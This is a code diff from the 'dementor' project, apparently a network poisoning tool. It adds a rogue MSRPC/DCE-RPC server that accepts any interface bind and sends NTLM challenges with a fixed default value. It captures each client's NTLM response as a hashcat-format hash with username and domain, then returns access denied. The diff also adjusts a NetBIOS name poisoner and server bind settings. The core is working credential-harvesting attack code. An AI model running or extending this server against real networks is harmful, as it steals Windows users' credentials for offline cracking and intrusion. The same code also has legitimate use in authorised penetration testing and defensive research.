|
|
|
1
|
+
import os
|
|
2
|
+
import struct
|
|
3
|
+
import random
|
|
4
|
+
import threading
|
|
5
|
+
|
|
6
|
+
from collections import defaultdict
|
|
7
|
+
from typing import Any, Callable
|
|
8
|
+
from dataclasses import dataclass
|
|
9
|
+
|
|
10
|
+
from impacket.dcerpc.v5 import rpcrt, epm
|
|
11
|
+
from impacket import ntlm
|
|
12
|
+
|
|
13
|
+
from dementor.config import Attribute as A, TomlConfig, is_true
|
|
14
|
+
from dementor.logger import ProtocolLogger, dm_logger
|
|
15
|
+
from dementor.protocols.ntlm import (
|
|
16
|
+
NTLM_AUTH_CreateChallenge,
|
|
17
|
+
NTLM_AUTH_decode_string,
|
|
18
|
+
NTLM_AUTH_to_hashcat_format,
|
|
19
|
+
NTLM_split_fqdn,
|
|
20
|
+
)
|
|
21
|
+
from dementor.servers import ThreadingTCPServer, BaseProtoHandler
|
|
22
|
+
from dementor.loader import ProtocolLoader
|
|
23
|
+
|
|
24
|
+
rev_rpc_status_codes = {name: value for value, name in rpcrt.rpc_status_codes.items()}
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def uuid_name(uuid_bin: bytes) -> str:
|
|
28
|
+
uuid_str, version = rpcrt.bin_to_uuidtup(uuid_bin)
|
|
29
|
+
if uuid_bin == epm.MSRPC_UUID_PORTMAP:
|
|
30
|
+
return f"EPMv4 v{version}"
|
|
31
|
+
elif uuid_str in epm.KNOWN_PROTOCOLS:
|
|
32
|
+
return f"{epm.KNOWN_PROTOCOLS[uuid_str]} v{version}"
|
|
33
|
+
elif uuid_bin in epm.KNOWN_UUIDS:
|
|
34
|
+
return f"{epm.KNOWN_UUIDS[uuid_bin]} v{version}"
|
|
35
|
+
else:
|
|
36
|
+
return f"UUID {uuid_str} v{version}"
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
class RPCConfig(TomlConfig):
|
|
40
|
+
_section_ = "RPC"
|
|
41
|
+
_fields_ = [
|
|
42
|
+
A("rpc_ntlm_challenge", "NTLM.Challenge", b"A" * 8),
|
|
43
|
+
A("rpc_fqdn", "FQDN", "DEMENTOR", section_local=False),
|
|
44
|
+
A("rpc_ntlm_ess", "NTLM.ExtendedSessionSecurity", True, factory=is_true),
|
|
45
|
+
A("epm_port", "EPM.TargetPort", 49000),
|
|
46
|
+
A("epm_port_range", "EPM.TargetPortRange", None),
|
|
47
|
+
A("rpc_modules", "Interfaces", list),
|
|
48
|
+
A("rpc_error_code", "ErrorCode", "rpc_s_access_denied"),
|
|
49
|
+
]
|
|
50
|
+
|
|
51
|
+
def set_rcp_error_code(self, value: str | int):
|
|
52
|
+
if isinstance(value, str):
|
|
53
|
+
value = rev_rpc_status_codes[value]
|
|
54
|
+
|
|
55
|
+
if not isinstance(value, int):
|
|
56
|
+
dm_logger.error(
|
|
57
|
+
f"Invalid RPC error code: {value} - using default: rpc_s_access_denied"
|
|
58
|
+
)
|
|
59
|
+
value = rev_rpc_status_codes["rpc_s_access_denied"]
|
|
60
|
+
|
|
61
|
+
self.rpc_error_code = value
|
|
62
|
+
|
|
63
|
+
def set_epm_port_range(self, value: str | dict):
|
|
64
|
+
start = end = None
|
|
65
|
+
match value:
|
|
66
|
+
case dict():
|
|
67
|
+
# must store START and END
|
|
68
|
+
start = value.get("start", 45000)
|
|
69
|
+
end = value.get("end", 49999)
|
|
70
|
+
|
|
71
|
+
case str():
|
|
72
|
+
# format [START]-END or START-[END]
|
|
73
|
+
values = value.split("-")
|
|
74
|
+
if len(values) == 2:
|
|
75
|
+
start = values[0] or 45000
|
|
76
|
+
end = values[1] or 49999
|
|
77
|
+
|
|
78
|
+
self.epm_port_range = None
|
|
79
|
+
if start is not None and end is not None:
|
|
80
|
+
if isinstance(start, str):
|
|
81
|
+
start = int(start)
|
|
82
|
+
|
|
83
|
+
if isinstance(end, str):
|
|
84
|
+
end = int(end)
|
|
85
|
+
|
|
86
|
+
self.epm_port_range = (start, end)
|
|
87
|
+
self.epm_port = random.randrange(start, end)
|
|
88
|
+
|
|
89
|
+
def set_rpc_modules(self, extra_paths: list):
|
|
90
|
+
loader = ProtocolLoader()
|
|
91
|
+
loader.search_path = [os.path.dirname(__file__)]
|
|
92
|
+
loader.search_path.extend(extra_paths)
|
|
93
|
+
self.rpc_modules = [
|
|
94
|
+
loader.load_protocol(path) for path in loader.get_protocols().values()
|
|
95
|
+
]
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
@dataclass(slots=True)
|
|
99
|
+
class RPCConnection:
|
|
100
|
+
call_id: int = -1
|
|
101
|
+
ctx_id: int = -1
|
|
102
|
+
auth_ctx_id: int = -1
|
|
103
|
+
challenge: ntlm.NTLMAuthChallenge | None = None
|
|
104
|
+
target: Any | None = None
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
class RPCHandler(BaseProtoHandler):
|
|
108
|
+
def __init__(self, config, request, client_address, server) -> None:
|
|
109
|
+
self.rpc_config = config.rpc_config
|
|
110
|
+
super().__init__(config, request, client_address, server)
|
|
111
|
+
|
|
112
|
+
def proto_logger(self) -> ProtocolLogger:
|
|
113
|
+
return ProtocolLogger(
|
|
114
|
+
extra={
|
|
115
|
+
"protocol": "DCE/RPC",
|
|
116
|
+
"protocol_color": "dark_violet",
|
|
117
|
+
"host": self.client_host,
|
|
118
|
+
"port": self.server.server_address[1],
|
|
119
|
+
}
|
|
120
|
+
)
|
|
121
|
+
|
|
122
|
+
def _send_fault(self, header, code):
|
|
123
|
+
packet = rpcrt.MSRPCRespHeader()
|
|
124
|
+
packet["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
|
|
125
|
+
packet["frag_len"] = 0
|
|
126
|
+
packet["auth_len"] = 0
|
|
127
|
+
packet["auth_data"] = b""
|
|
128
|
+
packet["call_id"] = header["call_id"]
|
|
129
|
+
packet["type"] = rpcrt.MSRPC_FAULT
|
|
130
|
+
if code:
|
|
131
|
+
packet["pduData"] = struct.pack("<LL", code, 0x00)
|
|
132
|
+
packet["frag_len"] = len(packet)
|
|
133
|
+
|
|
134
|
+
self.send(packet.get_packet())
|
|
135
|
+
|
|
136
|
+
def handle_data(self, data, transport) -> None:
|
|
137
|
+
transport.settimeout(0.3)
|
|
138
|
+
while True:
|
|
139
|
+
try:
|
|
140
|
+
data = self.recv(8192)
|
|
141
|
+
except OSError:
|
|
142
|
+
break
|
|
143
|
+
|
|
144
|
+
if not data:
|
|
145
|
+
return
|
|
146
|
+
|
|
147
|
+
header = rpcrt.MSRPCHeader(data)
|
|
148
|
+
match header["type"]:
|
|
149
|
+
case 0x00: # Request
|
|
150
|
+
code = self.handle_request(data)
|
|
151
|
+
case 0x0B: # BIND
|
|
152
|
+
bind_req = rpcrt.MSRPCBind(header["pduData"])
|
|
153
|
+
code = self.handle_bind(header, bind_req)
|
|
154
|
+
case 0x10: # AUTH3
|
|
155
|
+
code = self.handle_auth3(header)
|
|
156
|
+
case _:
|
|
157
|
+
code = rev_rpc_status_codes["rpc_fault_cant_perform"]
|
|
158
|
+
|
|
159
|
+
if isinstance(code, str):
|
|
160
|
+
code = rev_rpc_status_codes[code]
|
|
161
|
+
|
|
162
|
+
if code != 0:
|
|
163
|
+
self.server.rem_conn_by_call_id(header["call_id"])
|
|
164
|
+
self._send_fault(header, code)
|
|
165
|
+
break
|
|
166
|
+
|
|
167
|
+
def handle_bind(
|
|
168
|
+
self, header: rpcrt.MSRPCHeader, bind_req: rpcrt.MSRPCBind
|
|
169
|
+
) -> str | int:
|
|
170
|
+
syntax = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")
|
|
171
|
+
bind_ack = rpcrt.MSRPCBindAck()
|
|
172
|
+
|
|
173
|
+
bind_ack["type"] = rpcrt.MSRPC_BINDACK
|
|
174
|
+
bind_ack["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
|
|
175
|
+
bind_ack["frag_len"] = 0
|
|
176
|
+
bind_ack["auth_len"] = 0
|
|
177
|
+
bind_ack["auth_data"] = b""
|
|
178
|
+
bind_ack["call_id"] = header["call_id"]
|
|
179
|
+
bind_ack["max_tfrag"] = bind_req["max_tfrag"]
|
|
180
|
+
bind_ack["max_rfrag"] = bind_req["max_rfrag"]
|
|
181
|
+
bind_ack["assoc_group"] = 0x0CC5
|
|
182
|
+
bind_ack["ctx_num"] = 0
|
|
183
|
+
bind_ack["SecondaryAddrLen"] = 0
|
|
184
|
+
|
|
185
|
+
ctx_items = []
|
|
186
|
+
data = bind_req["ctx_items"]
|
|
187
|
+
conn = self.server.get_conn_by_call_id(header["call_id"])
|
|
188
|
+
endpoints = set()
|
|
189
|
+
for _ in range(bind_req["ctx_num"]):
|
|
190
|
+
result = rpcrt.MSRPC_CONT_RESULT_PROV_REJECT
|
|
191
|
+
ctx_item = rpcrt.CtxItem(data)
|
|
192
|
+
item_result = rpcrt.CtxItemResult()
|
|
193
|
+
data = data[len(ctx_item) :]
|
|
194
|
+
|
|
195
|
+
# The syntax must be checked. It will be one of the first entries
|
|
196
|
+
# -> We have to select the right one
|
|
197
|
+
if ctx_item["TransferSyntax"] == rpcrt.uuidtup_to_bin(syntax):
|
|
198
|
+
# accepted, regardless of the abstract syntax (WE WANT TO CATCH 'EM ALL)
|
|
199
|
+
reason = 0
|
|
200
|
+
result = rpcrt.MSRPC_CONT_RESULT_ACCEPT
|
|
201
|
+
bind_ack["SecondaryAddr"] = "135" # send to the same port
|
|
202
|
+
bind_ack["SecondaryAddrLen"] = 4
|
|
203
|
+
item_result["TransferSyntax"] = rpcrt.uuidtup_to_bin(syntax)
|
|
204
|
+
else:
|
|
205
|
+
reason = 2 # transfer syntax not supported
|
|
206
|
+
item_result["TransferSyntax"] = bytes(16)
|
|
207
|
+
|
|
208
|
+
abstract_syntax = ctx_item["AbstractSyntax"]
|
|
209
|
+
endpoints.add(uuid_name(abstract_syntax))
|
|
210
|
+
conn.target = self.server.get_handler_by_uuid(abstract_syntax)
|
|
211
|
+
|
|
212
|
+
bind_ack["ctx_num"] += 1
|
|
213
|
+
item_result["Result"] = result
|
|
214
|
+
item_result["Reason"] = reason
|
|
215
|
+
ctx_items.append(item_result)
|
|
216
|
+
|
|
217
|
+
bind_ack["Pad"] = "A" * (
|
|
218
|
+
4 - ((bind_ack["SecondaryAddrLen"] + bind_ack._SIZE) % 4)
|
|
219
|
+
)
|
|
220
|
+
bind_ack["ctx_items"] = b"".join([i.getData() for i in ctx_items])
|
|
221
|
+
|
|
222
|
+
endpoints_fmt = ", ".join({f"[b]{e}[/b]" for e in endpoints})
|
|
223
|
+
# handle AUTH data if present
|
|
224
|
+
if header["sec_trailer"]:
|
|
225
|
+
sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
|
|
226
|
+
auth_type = sec_trailer["auth_type"]
|
|
227
|
+
if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
|
|
228
|
+
# reject everything else
|
|
229
|
+
self.logger.display(
|
|
230
|
+
f"Rejecting Bind request for {endpoints_fmt} using AuthType: {auth_type:#x}"
|
|
231
|
+
)
|
|
232
|
+
return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
|
|
233
|
+
|
|
234
|
+
token = header["auth_data"]
|
|
235
|
+
auth_ctx_id = sec_trailer["auth_ctx_id"]
|
|
236
|
+
conn.auth_ctx_id = auth_ctx_id
|
|
237
|
+
(msg_type,) = struct.unpack("<L", token[8:12])
|
|
238
|
+
if msg_type == 0x01: # NEGOTIATE
|
|
239
|
+
# generate challenge
|
|
240
|
+
negotiate = ntlm.NTLMAuthNegotiate()
|
|
241
|
+
negotiate.fromString(token)
|
|
242
|
+
challenge = NTLM_AUTH_CreateChallenge(
|
|
243
|
+
negotiate,
|
|
244
|
+
*NTLM_split_fqdn(self.rpc_config.rpc_fqdn),
|
|
245
|
+
challenge=self.rpc_config.rpc_ntlm_challenge,
|
|
246
|
+
disable_ess=not self.rpc_config.rpc_ntlm_ess,
|
|
247
|
+
)
|
|
248
|
+
bind_ack["auth_data"] = challenge.getData()
|
|
249
|
+
bind_ack["auth_len"] = len(bind_ack["auth_data"])
|
|
250
|
+
bind_ack["sec_trailer"] = sec_trailer.getData()
|
|
251
|
+
if endpoints_fmt:
|
|
252
|
+
self.logger.display(
|
|
253
|
+
f"Bind request for {endpoints_fmt} (NTLMSSP_NEGOTIATE)"
|
|
254
|
+
)
|
|
255
|
+
conn.challenge = challenge
|
|
256
|
+
else:
|
|
257
|
+
self.logger.debug(f"(NTLM) Unhandled message type: {msg_type:#x}")
|
|
258
|
+
else:
|
|
259
|
+
if endpoints_fmt:
|
|
260
|
+
self.logger.display(
|
|
261
|
+
f"Bind request for {endpoints_fmt} (TransferSyntax Negotiation)"
|
|
262
|
+
)
|
|
263
|
+
|
|
264
|
+
bind_ack["frag_len"] = len(bind_ack.getData())
|
|
265
|
+
self.send(bind_ack.getData())
|
|
266
|
+
return 0x00
|
|
267
|
+
|
|
268
|
+
def handle_auth3(self, header: rpcrt.MSRPCHeader):
|
|
269
|
+
if not header["sec_trailer"]:
|
|
270
|
+
return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
|
|
271
|
+
|
|
272
|
+
sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
|
|
273
|
+
auth_type = sec_trailer["auth_type"]
|
|
274
|
+
if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
|
|
275
|
+
# reject everything else
|
|
276
|
+
self.logger.display(
|
|
277
|
+
f"Rejecting AUTH3 request using AuthType: {auth_type:#x}"
|
|
278
|
+
)
|
|
279
|
+
return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
|
|
280
|
+
|
|
281
|
+
conn = self.server.get_conn_by_call_id(header["call_id"])
|
|
282
|
+
token = header["auth_data"]
|
|
283
|
+
if not conn.challenge:
|
|
284
|
+
# challenge not set, invalid request
|
|
285
|
+
return rev_rpc_status_codes["rpc_fault_cant_perform"] # REVISIT
|
|
286
|
+
|
|
287
|
+
auth_resp = ntlm.NTLMAuthChallengeResponse()
|
|
288
|
+
auth_resp.fromString(token)
|
|
289
|
+
flags = auth_resp["flags"]
|
|
290
|
+
hversion, hstring = NTLM_AUTH_to_hashcat_format(
|
|
291
|
+
conn.challenge["challenge"].encode(),
|
|
292
|
+
auth_resp["user_name"],
|
|
293
|
+
auth_resp["domain_name"],
|
|
294
|
+
auth_resp["lanman"],
|
|
295
|
+
auth_resp["ntlm"],
|
|
296
|
+
flags,
|
|
297
|
+
)
|
|
298
|
+
self.config.db.add_auth(
|
|
299
|
+
client=self.client_address,
|
|
300
|
+
credtype=hversion,
|
|
301
|
+
username=NTLM_AUTH_decode_string(auth_resp["user_name"], flags),
|
|
302
|
+
domain=NTLM_AUTH_decode_string(auth_resp["domain_name"], flags),
|
|
303
|
+
logger=self.logger,
|
|
304
|
+
password=hstring,
|
|
305
|
+
)
|
|
306
|
+
return self.rpc_config.rpc_error_code
|
|
307
|
+
|
|
308
|
+
def handle_request(self, data):
|
|
309
|
+
request = rpcrt.MSRPCRequestHeader(data)
|
|
310
|
+
conn = self.server.get_conn_by_call_id(request["call_id"])
|
|
311
|
+
conn.ctx_id = request["ctx_id"]
|
|
312
|
+
if not conn.target:
|
|
313
|
+
# Interface not set, we can't handle this
|
|
314
|
+
return rev_rpc_status_codes["nca_s_unk_if"]
|
|
315
|
+
|
|
316
|
+
return conn.target(self, request, data)
|
|
317
|
+
|
|
318
|
+
|
|
319
|
+
RPCEndpointHandler = Callable[[RPCHandler, rpcrt.MSRPCHeader, bytes], int]
|
|
320
|
+
|
|
321
|
+
|
|
322
|
+
class MSRPCServer(ThreadingTCPServer):
|
|
323
|
+
default_port = 135
|
|
324
|
+
default_handler_class = RPCHandler
|
|
325
|
+
service_name = "DCE/RPC"
|
|
326
|
+
|
|
327
|
+
def __init__(
|
|
328
|
+
self, config, handles=None, server_address=None, RequestHandlerClass=None
|
|
329
|
+
) -> None:
|
|
330
|
+
self.conn_data = handles or defaultdict(RPCConnection)
|
|
331
|
+
super().__init__(config, server_address, RequestHandlerClass)
|
|
332
|
+
|
|
333
|
+
def get_conn_by_call_id(self, call_id: int) -> RPCConnection:
|
|
334
|
+
with threading.Lock():
|
|
335
|
+
conn = self.conn_data[call_id]
|
|
336
|
+
if conn.call_id == -1:
|
|
337
|
+
conn.call_id = call_id
|
|
338
|
+
return conn
|
|
339
|
+
|
|
340
|
+
def get_conn_by_auth_ctx_id(self, auth_ctx_id: int) -> RPCConnection:
|
|
341
|
+
conn = next(
|
|
342
|
+
filter(lambda x: x.auth_ctx_id == auth_ctx_id, self.conn_data.values()),
|
|
343
|
+
None,
|
|
344
|
+
)
|
|
345
|
+
if conn is None:
|
|
346
|
+
conn = RPCConnection()
|
|
347
|
+
conn.auth_ctx_id = auth_ctx_id
|
|
348
|
+
self.conn_data[auth_ctx_id] = conn
|
|
349
|
+
return conn
|
|
350
|
+
|
|
351
|
+
def rem_conn_by_call_id(self, call_id: int):
|
|
352
|
+
self.conn_data.pop(call_id, None)
|
|
353
|
+
|
|
354
|
+
def _module_handler(self, module) -> RPCEndpointHandler | None:
|
|
355
|
+
func = getattr(module, "handle_request", None)
|
|
356
|
+
if func:
|
|
357
|
+
return func
|
|
358
|
+
|
|
359
|
+
handler_cls = getattr(module, "RPCEndpointHandlerClass", None)
|
|
360
|
+
if handler_cls:
|
|
361
|
+
return handler_cls()
|
|
362
|
+
|
|
363
|
+
def get_handler_by_uuid(self, uuid: bytes) -> RPCEndpointHandler | None:
|
|
364
|
+
uuid_str, _ = rpcrt.bin_to_uuidtup(uuid)
|
|
365
|
+
for module in self.config.rpc_config.rpc_modules:
|
|
366
|
+
mod_uuid = getattr(module, "__uuid__", None)
|
|
367
|
+
if mod_uuid == uuid or mod_uuid == uuid_str:
|
|
368
|
+
return self._module_handler(module)
|
|
369
|
+
|
|
370
|
+
if isinstance(mod_uuid, list):
|
|
371
|
+
if uuid in mod_uuid or uuid_str.upper() in mod_uuid:
|
|
372
|
+
return self._module_handler(module)
|
|
373
|
+
|
|
374
|
+
return None
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
from collections import defaultdict
|
|
2
|
+
from dementor.config import TomlConfig
|
|
3
|
+
from dementor.servers import ServerThread
|
|
4
|
+
from dementor.protocols.msrpc.rpc import MSRPCServer, RPCConfig, RPCConnection
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
def apply_config(session):
|
|
8
|
+
session.rpc_config = TomlConfig.build_config(RPCConfig)
|
|
9
|
+
|
|
10
|
+
for module in session.rpc_config.rpc_modules:
|
|
11
|
+
# load custom config
|
|
12
|
+
if hasattr(module, "apply_config"):
|
|
13
|
+
module.apply_config(session)
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def create_server_threads(session):
|
|
17
|
+
addr = "::" if session.ipv6 else session.ipv4 # necessary
|
|
18
|
+
|
|
19
|
+
# connection data will be shared across both servers
|
|
20
|
+
conn_data = defaultdict(RPCConnection)
|
|
21
|
+
return [
|
|
22
|
+
ServerThread(
|
|
23
|
+
session,
|
|
24
|
+
MSRPCServer,
|
|
25
|
+
server_address=(addr, 135),
|
|
26
|
+
handles=conn_data,
|
|
27
|
+
),
|
|
28
|
+
ServerThread(
|
|
29
|
+
session,
|
|
30
|
+
MSRPCServer,
|
|
31
|
+
server_address=(addr, session.rpc_config.epm_port),
|
|
32
|
+
handles=conn_data,
|
|
33
|
+
),
|
|
34
|
+
]
|
|
@@ -97,6 +97,10 @@ class NetBiosNSPoisoner(BaseProtoHandler):
|
|
|
97
97
|
|
|
98
98
|
if header.OPCODE == 0x0:
|
|
99
99
|
# name query --> this is what we are looking for
|
|
100
|
+
if header.haslayer(netbios.NBNSNodeStatusRequest):
|
|
101
|
+
# we should handle those too
|
|
102
|
+
return
|
|
103
|
+
|
|
100
104
|
request = header[netbios.NBNSQueryRequest]
|
|
101
105
|
suffix = netbios._NETBIOS_SUFFIXES.get(
|
|
102
106
|
request.SUFFIX,
|
|
@@ -57,8 +57,7 @@ def apply_config(session):
|
|
|
57
57
|
def create_server_threads(session):
|
|
58
58
|
servers = []
|
|
59
59
|
if session.quic_enabled:
|
|
60
|
-
|
|
61
|
-
servers.append(QuicServerThread(session, address, ipv6=bool(session.ipv6)))
|
|
60
|
+
servers.append(QuicServerThread(session, session.bind_address, ipv6=bool(session.ipv6)))
|
|
62
61
|
|
|
63
62
|
return servers
|
|
64
63
|
|
|
@@ -148,13 +148,9 @@ class SMBServerThread(threading.Thread):
|
|
|
148
148
|
# always disconnect
|
|
149
149
|
|
|
150
150
|
# Change address_family to IPv6 if this is configured
|
|
151
|
-
address = self.config.
|
|
151
|
+
address = self.config.bind_address
|
|
152
152
|
if self.config.ipv6:
|
|
153
153
|
SMBSERVER.address_family = socket.AF_INET6
|
|
154
|
-
# empty string means all interfaces even though IPv6 can be bound to a specific
|
|
155
|
-
# interface. Unfortunately, impacket's SMBSERVER does not support binding to
|
|
156
|
-
# specific IPv6 addresses.
|
|
157
|
-
address = ""
|
|
158
154
|
|
|
159
155
|
self.server = SMBSERVER(
|
|
160
156
|
(address, self.server_config.smb_port),
|
|
@@ -334,7 +334,7 @@ class SMTPServerThread(threading.Thread):
|
|
|
334
334
|
|
|
335
335
|
# NOTE: hostname on the controller points to the local address that will be
|
|
336
336
|
# bound and the SMTP hostname is just a string that will be sent to the client,
|
|
337
|
-
controller.hostname =
|
|
337
|
+
controller.hostname = config.bind_address
|
|
338
338
|
|
|
339
339
|
# alter the server hostname
|
|
340
340
|
controller.SMTP_kwargs["hostname"] = smtp_config.smtp_fqdn.split(".", 1)[0]
|
|
@@ -136,7 +136,7 @@ class ThreadingUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
|
|
|
136
136
|
self.address_family = socket.AF_INET6
|
|
137
137
|
|
|
138
138
|
super().__init__(
|
|
139
|
-
server_address or (
|
|
139
|
+
server_address or (self.config.bind_address, self.default_port),
|
|
140
140
|
RequestHandlerClass or self.default_handler_class,
|
|
141
141
|
)
|
|
142
142
|
|
|
@@ -173,7 +173,7 @@ class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
|
|
173
173
|
if config.ipv6 and not self.ipv4_only:
|
|
174
174
|
self.address_family = socket.AF_INET6
|
|
175
175
|
super().__init__(
|
|
176
|
-
server_address or (
|
|
176
|
+
server_address or (self.config.bind_address, self.default_port),
|
|
177
177
|
RequestHandlerClass or self.default_handler_class,
|
|
178
178
|
)
|
|
179
179
|
|
|
@@ -259,7 +259,7 @@ def main_print_options(session: SessionConfig, interface):
|
|
|
259
259
|
poisoners_lines.append(main_format_config("Interface", interface))
|
|
260
260
|
|
|
261
261
|
protocols_lines = ["", "[bold]Servers:[/bold]"]
|
|
262
|
-
additional_protocols = ["KDC", "NBTDS"]
|
|
262
|
+
additional_protocols = ["KDC", "NBTDS", "WinRM"]
|
|
263
263
|
for name in (list(session.protocols) or []) + additional_protocols:
|
|
264
264
|
attr_name = f"{name.lower()}_enabled"
|
|
265
265
|
value = getattr(session, attr_name, None)
|
|
@@ -23,10 +23,18 @@ dementor/protocols/kerberos.py
|
|
|
23
23
|
dementor/protocols/ldap.py
|
|
24
24
|
dementor/protocols/llmnr.py
|
|
25
25
|
dementor/protocols/mdns.py
|
|
26
|
+
dementor/protocols/msrpc.py
|
|
26
27
|
dementor/protocols/netbios.py
|
|
27
28
|
dementor/protocols/ntlm.py
|
|
28
29
|
dementor/protocols/quic.py
|
|
29
30
|
dementor/protocols/smb.py
|
|
30
31
|
dementor/protocols/smtp.py
|
|
31
32
|
dementor/protocols/spnego.py
|
|
32
|
-
|
|
33
|
+
dementor/protocols/msrpc/__init__.py
|
|
34
|
+
dementor/protocols/msrpc/dcom.py
|
|
35
|
+
dementor/protocols/msrpc/epm.py
|
|
36
|
+
dementor/protocols/msrpc/rpc.py
|
|
37
|
+
docs/README.pypi.md
|
|
38
|
+
test/test_dcerpc.py
|
|
39
|
+
test/test_dcom.py
|
|
40
|
+
test/test_epm.py
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
from impacket.dcerpc.v5.rpcrt import MSRPCHeader
|
|
2
|
+
|
|
3
|
+
bind_data = bytes.fromhex(
|
|
4
|
+
"05000b0310000000a000000002000000d016d0160000000003000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000010001000883afe11f5dc91191a408002b14a0fa0300000033057171babe37498319b5dbef9ccc3601000000020001000883afe11f5dc91191a408002b14a0fa030000002c1cb76c12984045030000000000000001000000"
|
|
5
|
+
)
|
|
6
|
+
|
|
7
|
+
local_bind_data = bytes.fromhex(
|
|
8
|
+
"05000b03100000004800000001000000b810b8100000000001000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000"
|
|
9
|
+
)
|
|
10
|
+
|
|
11
|
+
bind_head = MSRPCHeader(bind_data)
|
|
12
|
+
print(bind_head.fields)
|
|
13
|
+
|
|
14
|
+
bind2_head = MSRPCHeader(local_bind_data)
|
|
15
|
+
print(bind2_head.fields)
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
import struct
|
|
2
|
+
import array
|
|
3
|
+
|
|
4
|
+
from impacket.dcerpc.v5 import dcom, rpcrt, dcomrt
|
|
5
|
+
|
|
6
|
+
# resp = dcomrt.ServerAlive2Response(bytes.fromhex("05000700000002002d0000002d00170007004400430030003100000007003100390032002e003100360038002e00350036002e00310031003500000000000900ffff00001e00ffff00001000ffff00000a00ffff00001600ffff00001f00ffff00000e00ffff0000000000000000000000000000"))
|
|
7
|
+
|
|
8
|
+
# bindings = resp["ppdsaOrBindings"]
|
|
9
|
+
# data = bindings["aStringArray"]
|
|
10
|
+
# data = array.array("H", data).tobytes()
|
|
11
|
+
# data_len = len(data)
|
|
12
|
+
# offset = 0
|
|
13
|
+
# sec_offset = bindings["wSecurityOffset"] * 2
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
# print(offset)
|
|
17
|
+
|
|
18
|
+
# for _ in range():
|
|
19
|
+
|
|
20
|
+
packet = dcomrt.ServerAlive2Response()
|
|
21
|
+
packet["pComVersion"] = dcomrt.COMVERSION()
|
|
22
|
+
packet["ErrorCode"] = 0
|
|
23
|
+
|
|
24
|
+
bindings = dcomrt.DUALSTRINGARRAY()
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
data = array.array('H')
|
|
28
|
+
# Only one stringbinding
|
|
29
|
+
binding = dcomrt.STRINGBINDING()
|
|
30
|
+
binding["wTowerId"] = 0x07 # ncacn_ip_tcp
|
|
31
|
+
binding["aNetworkAddr"] = "127.0.0.1"
|
|
32
|
+
data.extend(array.array('H', binding.getData()))
|
|
33
|
+
|
|
34
|
+
sec_offset = len(data)
|
|
35
|
+
if sec_offset % 2 != 0:
|
|
36
|
+
data.append(0x00)
|
|
37
|
+
sec_offset += 1
|
|
38
|
+
|
|
39
|
+
binding = dcomrt.SECURITYBINDING()
|
|
40
|
+
binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
|
|
41
|
+
binding["aPrincName"] = ""
|
|
42
|
+
binding["Reserved"] = 0xFFFF
|
|
43
|
+
data.extend(array.array('H', binding.getData()))
|
|
44
|
+
|
|
45
|
+
bindings["wNumEntries"] = len(data)
|
|
46
|
+
bindings["wSecurityOffset"] = sec_offset
|
|
47
|
+
bindings["aStringArray"] = data
|
|
48
|
+
|
|
49
|
+
packet["ppdsaOrBindings"] = bindings
|
|
50
|
+
|
|
51
|
+
print(packet.getData())
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
from impacket.dcerpc.v5 import epm
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
data = bytes.fromhex("0100000000000000000000000000000000000000020000004b0000004b000000050013000d81bb7a364498f135ad3298f03800100302000200000013000d045d888aeb1cc9119fe808002b10486002000200000001000b020000000100070200008701000904000000000000000000000000000000000000000000000000000004000000")
|
|
5
|
+
|
|
6
|
+
map_req = epm.ept_map(data)
|
|
7
|
+
map_resp = epm.ept_mapResponse()
|
|
8
|
+
map_resp["status"] = 0 # success
|
|
9
|
+
map_resp["num_towers"] = 1
|
|
10
|
+
map_resp["entry_handle"] = map_req["entry_handle"]
|
|
11
|
+
|
|
12
|
+
req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
|
|
13
|
+
req_floors = req_tower["Floors"]
|
|
14
|
+
resp_tower = epm.EPMTower()
|
|
15
|
+
resp_floors = []
|
|
16
|
+
|
|
17
|
+
# First floor will be the interface
|
|
18
|
+
interface = req_floors[0]["InterfaceUUID"]
|
|
19
|
+
# Second floor must map to the same syntax -> TODO
|
|
20
|
+
# THird floor MUST be TCP
|
|
21
|
+
resp_floors.extend(req_floors[:3])
|
|
22
|
+
|
|
23
|
+
epm_port = epm.EPMPortAddr()
|
|
24
|
+
epm_port["IpPort"] = 135# self.rpc_config.epm_port
|
|
25
|
+
resp_floors.append(epm_port)
|
|
26
|
+
|
|
27
|
+
epm_host = epm.EPMHostAddr()
|
|
28
|
+
epm_host["Ip4addr"] = "127.0.0.1" # self.config.ipv4
|
|
29
|
+
resp_floors.append(epm_host)
|
|
30
|
+
|
|
31
|
+
resp_tower["NumberOfFloors"] = len(resp_floors)
|
|
32
|
+
resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
|
|
33
|
+
|
|
34
|
+
resp_tower_data = epm.twr_p_t()
|
|
35
|
+
resp_tower_data["tower_octet_string"] = resp_tower.getData()
|
|
36
|
+
resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
|
|
37
|
+
resp_tower_data["ReferentID"] = 2
|
|
38
|
+
|
|
39
|
+
